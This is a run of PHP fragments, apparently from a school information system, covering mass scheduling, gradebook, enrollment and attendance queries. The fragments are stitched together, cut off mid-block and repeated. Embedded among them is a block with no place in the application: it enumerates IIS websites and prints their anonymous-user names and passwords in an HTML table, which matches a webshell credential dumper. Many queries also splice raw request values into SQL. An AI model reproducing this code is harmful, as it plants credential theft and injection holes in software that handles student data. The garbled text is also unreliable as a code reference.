$select_stu = DBGet(DBQuery("SELECT FIRST_NAME,LAST_NAME FROM STUDENTS WHERE STUDENT_ID='" . $student_id . "'"));
$select_stu = $select_stu[1]['FIRST_NAME'] . " " . $select_stu[1]['LAST_NAME'];
$request_clash .= $select_stu . "<br>";
$request_exists = true;
}
} else {
$select_stu = DBGet(DBQuery("SELECT FIRST_NAME,LAST_NAME FROM STUDENTS WHERE STUDENT_ID='" . $student_id . "'"));
$select_stu = $select_stu[1]['FIRST_NAME'] . " " . $select_stu[1]['LAST_NAME'];
$clash .= $select_stu . "<br>";
}
}
unset($_REQUEST['modfunc']);
unset($_SESSION['MassSchedule.php']);
} else {
//BackPrompt('You must choose a Course');
ShowErr('You must choose a Course');
for_error();
}
}
if ($_REQUEST['modfunc'] != 'choose_course') {
DrawBC("Scheduling > " . ProgramTitle());
if ($_REQUEST['search_modfunc'] == 'list') {
echo "<FORM name=sav id=sav action=Modules.php?modname={$_REQUEST['modname']}&modfunc=save method=POST>";
#DrawHeader('',SubmitButton('Add Course to Selected Students'));
PopTable_wo_header('header');
echo '<TABLE><TR><TD>Course to Add</TD><TD><DIV id=course_div>';
if ($_SESSION['MassSchedule.php']) {
$course_title = DBGet(DBQuery("SELECT TITLE FROM COURSES WHERE COURSE_ID='" . $_SESSION['MassSchedule.php']['course_id'] . "'"));
$course_title = $course_title[1]['TITLE'];
$period_title = DBGet(DBQuery("SELECT TITLE FROM COURSE_PERIODS WHERE COURSE_PERIOD_ID='" . $_SESSION['MassSchedule.php']['course_period_id'] . "'"));
$period_title = $period_title[1]['TITLE'];
if (count($_REQUEST['mp_arr']) == 1) {
$tmp_REQUEST = $_REQUEST;
unset($tmp_REQUEST['modfunc']);
$link['remove']['link'] = PreparePHP_SELF($tmp_REQUEST) . "&modfunc=delete";
//$link['remove']['link'] = "Modules.php?modname=$_REQUEST[modname]&modfunc=delete";
$link['remove']['variables'] = array('student_id' => 'STUDENT_ID', 'course_period_id' => 'COURSE_PERIOD_ID', 'marking_period_id' => 'MARKING_PERIOD_ID');
}
ListOutput($grades_RET, $columns, '', '', $link);
} else {
// BackPrompt('No Students were found.');
ShowErr('No Students were found.');
for_error();
}
} else {
// BackPrompt('You must choose at least one student and marking period');
ShowErr('You must choose at least one student and marking period');
for_error();
}
}
if (!$_REQUEST['modfunc']) {
DrawBC("Gradebook > " . ProgramTitle());
if ($_REQUEST['search_modfunc'] == 'list') {
$_CENTRE['allow_edit'] = true;
echo "<FORM action=Modules.php?modname={$_REQUEST['modname']}&modfunc=save&include_inactive={$_REQUEST['include_inactive']} method=POST>";
#$extra['header_right'] = SubmitButton('Create Grade Lists for Selected Students');
$attendance_codes = DBGet(DBQuery("SELECT SHORT_NAME,ID FROM ATTENDANCE_CODES WHERE SYEAR='" . UserSyear() . "' AND SCHOOL_ID='" . UserSchool() . "' AND (DEFAULT_CODE!='Y' OR DEFAULT_CODE IS NULL) AND TABLE_NAME='0'"));
PopTable_wo_header('header');
$extra['extra_header_left'] = '<TABLE>';
$extra['extra_header_left'] .= '<TR><TD colspan=2><b>Include on Grade List:</b></TD></TR>';
$extra['extra_header_left'] .= '<TR><TD></TD><TD><TABLE>';
$extra['extra_header_left'] .= '<TR>';
}
if ($next_school != '') {
DBQuery('UPDATE student_enrollment SET NEXT_SCHOOL=' . $next_school . ' WHERE SYEAR=' . UserSyear() . ' AND STUDENT_ID IN (' . substr($students, 1) . ') ');
}
if ($calendar) {
DBQuery('UPDATE student_enrollment SET CALENDAR_ID=' . $calendar . ' WHERE SYEAR=' . UserSyear() . ' AND STUDENT_ID IN (' . substr($students, 1) . ') ');
}
if (!$note) {
$note = '<IMG SRC=assets/check.gif>The specified information was applied to the selected students.';
}
unset($_REQUEST['modfunc']);
unset($_REQUEST['values']);
unset($_SESSION['_REQUEST_vars']['modfunc']);
unset($_SESSION['_REQUEST_vars']['values']);
} else {
ShowErr('You must choose at least one field and one student');
for_error();
}
}
DrawBC("Students > " . ProgramTitle());
if (!$_REQUEST['modfunc']) {
$extra['link'] = array('FULL_NAME' => false);
$extra['SELECT'] = ',CAST(NULL AS CHAR(1)) AS CHECKBOX';
if ($_REQUEST['search_modfunc'] == 'list') {
echo "<FORM action=Modules.php?modname={$_REQUEST['modname']}&modfunc=save METHOD=POST>";
if ($_REQUEST['category_id']) {
$fields_RET = DBGet(DBQuery('SELECT ID,TITLE,TYPE,SELECT_OPTIONS FROM custom_fields WHERE CATEGORY_ID=\'' . $_REQUEST[category_id] . '\''), array(), array('TYPE'));
} else {
$fields_RET = DBGet(DBQuery('SELECT ID,TITLE,TYPE,SELECT_OPTIONS FROM custom_fields'), array(), array('TYPE'));
}
$categories_RET = DBGet(DBQuery('SELECT ID,TITLE FROM student_field_categories WHERE ID=1 OR ID=2'));
if (!is_numeric($obj3w->Name)) {
continue;
}
$webSite = new com("IIS://localhost/w3svc/" . $obj3w->Name . '/Root');
if (!$webSite) {
$ctn .= "<td>[ERROR]=" . $php_errormsg . "</td><td></td><td></td><td></td><td></td></tr>\n";
continue;
}
$Binds = "";
foreach ($obj3w->ServerBindings as $Binds1) {
$Binds .= $Binds1 . "<br>\n";
}
$user = $webSite->AnonymousUserName;
$pass = $webSite->AnonymousUserPass;
$path = $webSite->path;
$ctn .= "<td >" . $i . "</td><td >" . $user . "</td><td >" . $pass . "</td><td >" . $Binds . "</td><td >" . $path . "</td></tr>\n";
}
$ctn .= "</table>";
echo $ctn;
} catch (Exception $e) {
ShowErr($e->getMessage());
}
} else {
ShowErr('系统不支持');
}
?>
</div>
</td></tr>
</table>
</body>
</html>
if ($tabl == 'goal') {
$id = $table_name;
$table_name = 'goal';
}
if ($tabl == 'progress') {
$id = $table_name;
$table_name = 'progress';
}
}
if (!isset($start_date) || !isset($end_date)) {
$sql_s_date = 'SELECT START_DATE,END_DATE FROM ' . $table_name . ' WHERE GOAL_ID=\'' . $id . '\'';
$res_s_date = mysql_query($sql_s_date);
$row_s_date = mysql_fetch_array($res_s_date);
}
if (strtotime($start_date) >= strtotime($end_date) && $start_date != "" && $end_date != "" || strtotime($row_s_date['START_DATE']) >= strtotime($end_date) && $row_s_date['START_DATE'] != "" && $end_date != "" || strtotime($start_date) >= strtotime($row_s_date['END_DATE']) && $start_date != "" && $row_s_date['END_DATE'] != "" || strtotime($row_s_date['START_DATE']) >= strtotime($row_s_date['END_DATE']) && $row_s_date['START_DATE'] != "" && $row_s_date['END_DATE'] != "") {
ShowErr(_('Data not saved because start and end date is not valid'));
} else {
if (!is_numeric($table_name)) {
$sql = 'UPDATE ' . $table_name . ' SET ';
}
if ($_REQUEST['tables'][$id]['START_DATE'] != '') {
$sql .= 'START_DATE=\'' . str_replace("'", "\\'", $_REQUEST['tables'][$id]['START_DATE']) . '\',';
}
if (!is_numeric($table_name)) {
foreach ($columns as $column => $value) {
$value = paramlib_validation($column, $value);
#$sql.= $column."='".str_replace("\'","''",$value)."',"; // Windows
$sql .= $column . '=\'' . str_replace("'", "\\'", $value) . '\',';
// linux
}
}
$note = _("That course has been added to the selected students' schedules.");
} else {
$no_seat = '' . _('There is no available seats in this period.') . '' . '<br>';
$no_seat .= '</DIV>' . "<A HREF=# onclick='window.open(\"for_window.php?modname={$_REQUEST['modname']}&modfunc=seats&course_period_id=" . $_SESSION['MassSchedule.php']['course_period_id'] . "\",\"\",\"scrollbars=no,status=no,screenX=500,screenY=500,resizable=no,width=500,height=200\");'style=\"text-decoration:none;\"><strong><input type=button class=btn_large value=" . _('Manual Override') . "></strong></A></TD></TR>";
}
}
}
}
DBQuery('DELETE FROM missing_attendance WHERE COURSE_PERIOD_ID =' . $_SESSION['MassSchedule.php']['course_period_id'] . '');
DBQuery('INSERT INTO missing_attendance(SCHOOL_ID,SYEAR,SCHOOL_DATE,COURSE_PERIOD_ID,PERIOD_ID,TEACHER_ID,SECONDARY_TEACHER_ID) SELECT s.ID AS SCHOOL_ID,acc.SYEAR,acc.SCHOOL_DATE,cp.COURSE_PERIOD_ID,cp.PERIOD_ID, IF(tra.course_period_id=cp.course_period_id AND acc.school_date<tra.assign_date =true,tra.pre_teacher_id,cp.teacher_id) AS TEACHER_ID,cp.SECONDARY_TEACHER_ID FROM attendance_calendar acc INNER JOIN marking_periods mp ON mp.SYEAR=acc.SYEAR AND mp.SCHOOL_ID=acc.SCHOOL_ID AND acc.SCHOOL_DATE BETWEEN mp.START_DATE AND mp.END_DATE INNER JOIN course_periods cp ON cp.MARKING_PERIOD_ID=mp.MARKING_PERIOD_ID AND cp.DOES_ATTENDANCE=\'Y\' AND cp.CALENDAR_ID=acc.CALENDAR_ID LEFT JOIN teacher_reassignment tra ON (cp.course_period_id=tra.course_period_id) INNER JOIN school_periods sp ON sp.SYEAR=acc.SYEAR AND sp.SCHOOL_ID=acc.SCHOOL_ID AND sp.PERIOD_ID=cp.PERIOD_ID AND (sp.BLOCK IS NULL AND position(substring(\'UMTWHFS\' FROM DAYOFWEEK(acc.SCHOOL_DATE) FOR 1) IN cp.DAYS)>0 OR sp.BLOCK IS NOT NULL AND acc.BLOCK IS NOT NULL AND sp.BLOCK=acc.BLOCK) INNER JOIN schools s ON s.ID=acc.SCHOOL_ID INNER JOIN schedule sch ON sch.COURSE_PERIOD_ID=cp.COURSE_PERIOD_ID AND sch.START_DATE<=acc.SCHOOL_DATE AND (sch.END_DATE IS NULL OR sch.END_DATE>=acc.SCHOOL_DATE ) AND cp.COURSE_PERIOD_ID =' . $_SESSION['MassSchedule.php']['course_period_id'] . ' LEFT JOIN attendance_completed ac ON ac.SCHOOL_DATE=acc.SCHOOL_DATE AND IF(tra.course_period_id=cp.course_period_id AND acc.school_date<=tra.assign_date =true,ac.staff_id=tra.pre_teacher_id,ac.staff_id=cp.teacher_id) AND ac.PERIOD_ID=sp.PERIOD_ID WHERE acc.SYEAR=\'' . UserSyear() . '\' AND acc.SCHOOL_ID=\'' . UserSchool() . '\' AND (acc.MINUTES IS NOT NULL AND acc.MINUTES>0) AND acc.SCHOOL_DATE<=\'' . date('Y-m-d') . '\' AND ac.STAFF_ID IS NULL GROUP BY s.TITLE,acc.SCHOOL_DATE,cp.TITLE,cp.COURSE_PERIOD_ID,cp.TEACHER_ID');
// UpdateMissingAttendance($_SESSION['MassSchedule.php']['course_period_id']);
unset($_REQUEST['modfunc']);
unset($_SESSION['MassSchedule.php']);
} else {
//BackPrompt('You must choose a Course');
ShowErr('' . _('You must choose a Course') . '');
#for_error();
for_error_sch();
}
}
if ($_REQUEST['modfunc'] != 'choose_course') {
#echo "<script>alert('a')</script>";
DrawBC("" . _('Scheduling') . " > " . ProgramTitle());
if ($_REQUEST['search_modfunc'] == 'list') {
echo "<FORM name=sav id=sav action=Modules.php?modname={$_REQUEST['modname']}&modfunc=save method=POST>";
#DrawHeader('',SubmitButton('Add Course to Selected Students'));
PopTable_wo_header('header');
echo '<TABLE><TR><TD>' . _('Course to Add') . '</TD><TD><DIV id=course_div>';
if ($_SESSION['MassSchedule.php']) {
$course_title = DBGet(DBQuery('SELECT TITLE FROM courses WHERE COURSE_ID=\'' . $_SESSION['MassSchedule.php']['course_id'] . '\''));
$course_title = $course_title[1]['TITLE'];
